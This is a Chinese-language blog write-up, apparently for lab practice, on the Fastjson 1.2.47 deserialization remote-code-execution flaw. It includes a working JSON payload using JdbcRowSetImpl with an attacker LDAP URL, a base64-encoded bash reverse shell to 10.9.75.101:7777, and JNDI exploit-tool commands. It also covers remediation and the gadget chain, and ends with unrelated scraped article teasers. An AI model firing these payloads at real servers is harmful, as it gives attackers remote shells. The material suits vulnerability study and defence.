【漏洞库】Fastjson_1.2.47_rce
文章目录
- 漏洞描述
- 漏洞编号
- 漏洞评级
- 影响版本
- 漏洞复现
- - 利用工具
- - 漏洞环境
- - 漏洞扫描
- - 漏洞验证
- - 深度利用
- - GetShell
- - EXP 编写
- 漏洞挖掘
- - 寻找入口点
- - 指纹信息
- 修复建议
- - 漏洞修复
- 漏洞原理
漏洞描述
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
漏洞编号
CNVD-2019-22238
漏洞评级
严重
影响版本
< Fastjson 1.2.47 及之前的版本
漏洞复现
- 利用工具
链接:https://pan.baidu.com/s/1KEl1Z9Z3hWXKtENLxSE1wg?pwd=yuan
- 漏洞环境
vulhub的靶场环境:vulhub/fastjson/1.2.47-rce](https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce)
运行测试环境:
docker compose up -d
环境运行后,访问http://your-ip:8090即可看到JSON格式的输出:

- 漏洞扫描
手工主动测试,利用非法json格式来尝试获取回显:

如图我们可以看到,服务端返回报错内容中包含fastjson。
- 漏洞验证
借助DNSLog,让目标服务器访问,查看回显

发现有回显,说明存在漏洞

- 深度利用
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar 工具开启JNDI服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.9.75.101"
以下命令的解释:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
这是一个在bash shell中执行的命令,它涉及到了bash、echo、base64和管道操作符。首先,
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}部分将字符串YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=作为参数传给echo命令,然后输出。接着,输出被传递给base64 -d进行解码,最后解码的结果再传递给bash -i进行执行。其中,{bash,-i}部分表示使用交互模式运行bash其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/
编码过程如图:

执行开启服务的命令之后,如图所示,表示已经开启了不同java版本的rmi服务与ldap服务:

- GetShell
kali开启监听:
nc -lvvp 7777
发送请求包:
POST / HTTP/1.1
Host: 10.9.75.101:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 261{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.9.75.101:1389/zbcmsg","autoCommit":true}
}

发送之后,可以看到kali已经获得反弹Shell

- EXP 编写
这里直接使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar的 -C 参数指定EXP(这里的EXP使用反弹shell),不过这个EXP需要通过base64编码:
bash -i >& /dev/tcp/10.9.75.101/7777 0>&1
通过网站在线编码:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC45Ljc1LjEwMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}
其中的base64编码是通过这个网站进行编码的:https://ares-x.com/tools/runtime-exec/
编码过程如图:

将以上编码结果交给 -C参数,再使用 -A参数指定JNDI服务所处的服务器IP地址,执行jar包之后就会生成EXP并且将EXP放置JNDI服务中。
漏洞挖掘
- 寻找入口点
找到发送JSON序列化数据的接口
判断是否使用fastjson,利用非法json格式来尝试获取回显:
如图我们可以看到,服务端返回报错内容中包含fastjson。
通过BP插件检测该fastjson版本是否存在漏洞
https://github.com/zilong3033/fastjsonScan下载插件导入BP
抓包发送到插件进行检测:
如下检测结果:存在漏洞
- 指纹信息
通过异常json输入之后的响应回显,判断是否使用fastjson
修复建议
- 漏洞修复
升级Fastjson到最新版
使用安全产品过滤非法内容
比如请求包中如果出现了JdbcRowSetImpl,就可以把他拦住。更换其它序列化工具 Jackson/Gson
漏洞原理
不同版本的fastjson其实就是对一些输入的数据进行了校验等操作,绕过校验之后底层的利用链还是一样的。以下是fastjson反序列化漏洞的本质:
由于将JSON数据进行反序列化的时候会自动调用方法中的 get/set/is方法。
所以如果有方法在自动调用get/set/is方法的时候能访问远程资源,那么就可以借助这个方法完成利用。
很巧的是,JDK8中恰好有个JdbcRowSetlmpl类,里面就有
set方法setAutoCommit,这个方法里面调用了connect方法,connect方法里面又具有JNDI的lookup方法,lookup方法里面传的恰好又是get方法,所以我们可以编写一个payload,利用@type指定要序列化的类,然后指定一些要反序列化的属性,即可完成利用链,接下来就看利用链中的源码:利用JdbcRowSetlmpl类中的方法
setAutoCommit():
进入connect方法:
我们可以看到connect方法中具有JNDI的lookup方法,lookup是JNDI用于查找资源的方法,里面传的参数是dataSourceName,所以我们可以在payload的json字符串中传入这个参数dataSourceName,并且指定他的 值为我们的RMI服务或者其他服务,lookup就会到我们指定的服务中下载恶意代码并执行。
为什么下载我们的EXP后会自动执行呢?
因为我们的exp具有静态代码块或者构造方法,当程序创建实例的时候,就会自动触发构造方法或者静态代码块的内容。
如下图中的NamingManager类,其中利用反射创建实例,然后就直接触发恶意代码中的静态代码块内容,从而让我们利用。
相关文章:
【漏洞库】Fastjson_1.2.47_rce
文章目录 漏洞描述漏洞编号漏洞评级影响版本漏洞复现- 利用工具- 漏洞环境- 漏洞扫描- 漏洞验证- 深度利用- GetShell- EXP 编写 漏洞挖掘- 寻找入口点- 指纹信息 修复建议- 漏洞修复 漏洞原理 漏洞描述 Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越&am…...
zabbix 钉钉微信企微告警(动作操作消息内容模板)
一、环境配置 1、配置zabbix服务端 2、配置监控主机&监控项&监控模板 zabbix配置安装_this page is used to test the proper operation of _疯飙的蜗牛的博客-CSDN博客 二、触发器 触发器的本质就是一个条件判断,对于不同的监控数据来说,我…...
阿里云国际站云服务器数据备份方法有哪些?
阿里云国际站云服务器是一种根据云计算技术的虚拟服务器,它能够经过互联网提供计算资源和服务。在运用云服务器的过程中,数据备份是非常重要的一个环节。本文将介绍云服务器数据备份的办法,包含手动备份、主动备份和数据同步。 一、手动备份 …...
游戏笔记本电脑可以进行 3D 建模和渲染吗?有哪些优势与缺点?
3D 建模和渲染是创建令人惊叹的数字艺术、动画和游戏体验的最流行和最广泛使用的工具之一。随着技术的进步,对运行这些模型的强大计算机的需求呈指数级增长。对于那些寻求强大机器来处理 3D 建模任务的人来说,游戏笔记本电脑已成为一个可行的选择。 游戏…...
【AI】推理系统和推理引擎的整体架构
本文主要是对 B 站 Up 主 ZOMI酱 推理系统系列视频 的理解,可以认为是重点笔记。 一、深度学习模型的全生命周期 相信很多人和我一样,刚看到深度学习模型中的推理系统或推理引擎时是一头雾水,因为学习 DL 时通常关注于模型的设计和训练。下图…...
k8s集群中流水线部署微服务
k8s集群中流水线发布微服务 一、流水线部署微服务部署流程 二、微服务发布流程 pipeline {agent {node {label maven}}parameters {string(name: PROJECT_VERSION, defaultValue: v1.0, description: )string(name: PROJECT_NAME, defaultValue: , description: )}environment…...
Socks5代理与网络安全:保护您的隐私与数据
在今天数字化的世界中,隐私和网络安全已经成为至关重要的话题。Socks5代理作为一种强大的工具,不仅为用户提供了隐私保护,还在网络安全和爬虫领域发挥着关键作用。本文将深入探讨Socks5代理的工作原理、其在网络安全中的应用,以及…...
2024年山东高企申报注意事项
1、分析企业技术及财务报表 分析财务数据及企业主营产品和技术点。用以确定申报材料的撰写方向。一般耗时1周左右。(纺织厂、服装厂等传统行业面临申报中的面临研发人员比例不达标,研发费用不达标,高新技术产品比例不达标等难题。)…...
npm publish包报404,is not in the npm registry错误
1. 指定发布目标2. 登录npm,使用登录名发布包,包名命名原则“登录名/包名”,或 “包名” 3. 删除某一个版本npm unpublish pvfhv/eslint-config-prettier1.0.1 --force 删除后的版本不能重复使用,正式解释: Unfortun…...
pytest-基础
一.使用pytest,默认的测试用例的规则以及基础应用 1.模块名字必须已test_开头或者_test结尾 2.测试类必须以Test开头,并且不能有init方法 3.测试方法必须以test开头 示例代码 test_001.py import pytest class TestCase:def test_case(self):print("执行测试用例&quo…...
在openSUSE上开启护眼模式
色温 色温是用来衡量光源色彩时所用到的一个概念,单位为开尔文。热黑体辐射体与光源温度相同时的温度,就是该光源的色温。 显而易见,色温越低时,光源看起来越黄;色温越高时,光源看起来越蓝。下面是一些常见…...
vue基础知识十:Vue中组件和插件有什么区别?
一、组件是什么 回顾以前对组件的定义: 组件就是把图形、非图形的各种逻辑均抽象为一个统一的概念(组件)来实现开发的模式,在Vue中每一个.vue文件都可以视为一个组件 组件的优势 降低整个系统的耦合度,在保持接口不…...
Arthas是一个Java诊断工具 的入门使用
Arthas是一个Java诊断工具,可以帮助开发人员在运行时快速诊断和解决线上应用故障。 以下是Arthas的入门步骤: 安装Arthas 你可以在Arthas Github页面中找到安装指南,根据操作系统选择相应的安装方式。 启动Arthas 在安装完成后ÿ…...
数据结构——排序算法——桶排序
桶排序的思想是: 1.将区间划分为 n 个相同大小的子区间,每个子区间称为一个桶 2.遍历数组,将每个数字装入桶中 3.对每个桶内的数字单独排序,这里需要采用其他排序算法,如插入、归并、快排等 4.最后按照顺序将所有桶内的…...
Kafka消息发送可靠性分析
Apache Kafka是一种高吞吐量的分布式发布订阅消息系统,它可以处理消费者和生产者之间的所有实时数据。Kafka的主要特性包括:高吞吐量、可扩展性、持久性、分布式、可容错等。这些特性使得Kafka成为大规模数据处理和实时数据分析的理想选择。然而…...
如何将一个字符串转换为驼峰命名法(camel case)?
聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 思路⭐ 示例⭐ 写在最后 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦 几何带你启航前端之旅 欢迎来到前端入门之旅!这个专栏是为那些对Web开发感兴趣、刚刚踏入前端领…...
牛客网项目-第一章-笔记
牛客网项目-第一章 环境配置 java maven idea Spring Intializr 搜索jar包的网站:https://mvnrepository.com/ https://start.spring.io/ 缺少的aop包,手动在pom.xml中加入依赖 <dependency><groupId>org.springframework.boot</gro…...
CISP汇总
0x00 前言 CTF 加解密合集CTF Web合集网络安全知识库溯源相关 文中工具皆可关注 皓月当空w 公众号 发送关键字 工具 获取 本文用来整理相关CISP知识笔记 0x01 汇总...
KALILINUX MSF中kiwi(mimikatz)模块的使用
一、简介: kiwi模块: mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。 二、前权: 提权到system权限: 1.1 提到system有…...
hive 中正则表表达式使用
一 概念 概念:正则表达式(Regular Expression),又称规则表达式,是记录文本规则的代码。通常被用来检索、替换那些符合某个模式(规则)的文本。 特性:最初是由Unix中的工具软件(例如sed和grep&a…...
Python:操作 Excel 折叠
💖亲爱的技术爱好者们,热烈欢迎来到 Kant2048 的博客!我是 Thomas Kant,很开心能在CSDN上与你们相遇~💖 本博客的精华专栏: 【自动化测试】 【测试经验】 【人工智能】 【Python】 Python 操作 Excel 系列 读取单元格数据按行写入设置行高和列宽自动调整行高和列宽水平…...
Go 语言接口详解
Go 语言接口详解 核心概念 接口定义 在 Go 语言中,接口是一种抽象类型,它定义了一组方法的集合: // 定义接口 type Shape interface {Area() float64Perimeter() float64 } 接口实现 Go 接口的实现是隐式的: // 矩形结构体…...
Leetcode 3577. Count the Number of Computer Unlocking Permutations
Leetcode 3577. Count the Number of Computer Unlocking Permutations 1. 解题思路2. 代码实现 题目链接:3577. Count the Number of Computer Unlocking Permutations 1. 解题思路 这一题其实就是一个脑筋急转弯,要想要能够将所有的电脑解锁&#x…...
解决本地部署 SmolVLM2 大语言模型运行 flash-attn 报错
出现的问题 安装 flash-attn 会一直卡在 build 那一步或者运行报错 解决办法 是因为你安装的 flash-attn 版本没有对应上,所以报错,到 https://github.com/Dao-AILab/flash-attention/releases 下载对应版本,cu、torch、cp 的版本一定要对…...
网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
Kafka入门-生产者
生产者 生产者发送流程: 延迟时间为0ms时,也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于:异步发送不需要等待结果,同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
【JVM】Java虚拟机(二)——垃圾回收
目录 一、如何判断对象可以回收 (一)引用计数法 (二)可达性分析算法 二、垃圾回收算法 (一)标记清除 (二)标记整理 (三)复制 (四ÿ…...
快刀集(1): 一刀斩断视频片头广告
一刀流:用一个简单脚本,秒杀视频片头广告,还你清爽观影体验。 1. 引子 作为一个爱生活、爱学习、爱收藏高清资源的老码农,平时写代码之余看看电影、补补片,是再正常不过的事。 电影嘛,要沉浸,…...
MySQL 部分重点知识篇
一、数据库对象 1. 主键 定义 :主键是用于唯一标识表中每一行记录的字段或字段组合。它具有唯一性和非空性特点。 作用 :确保数据的完整性,便于数据的查询和管理。 示例 :在学生信息表中,学号可以作为主键ÿ…...





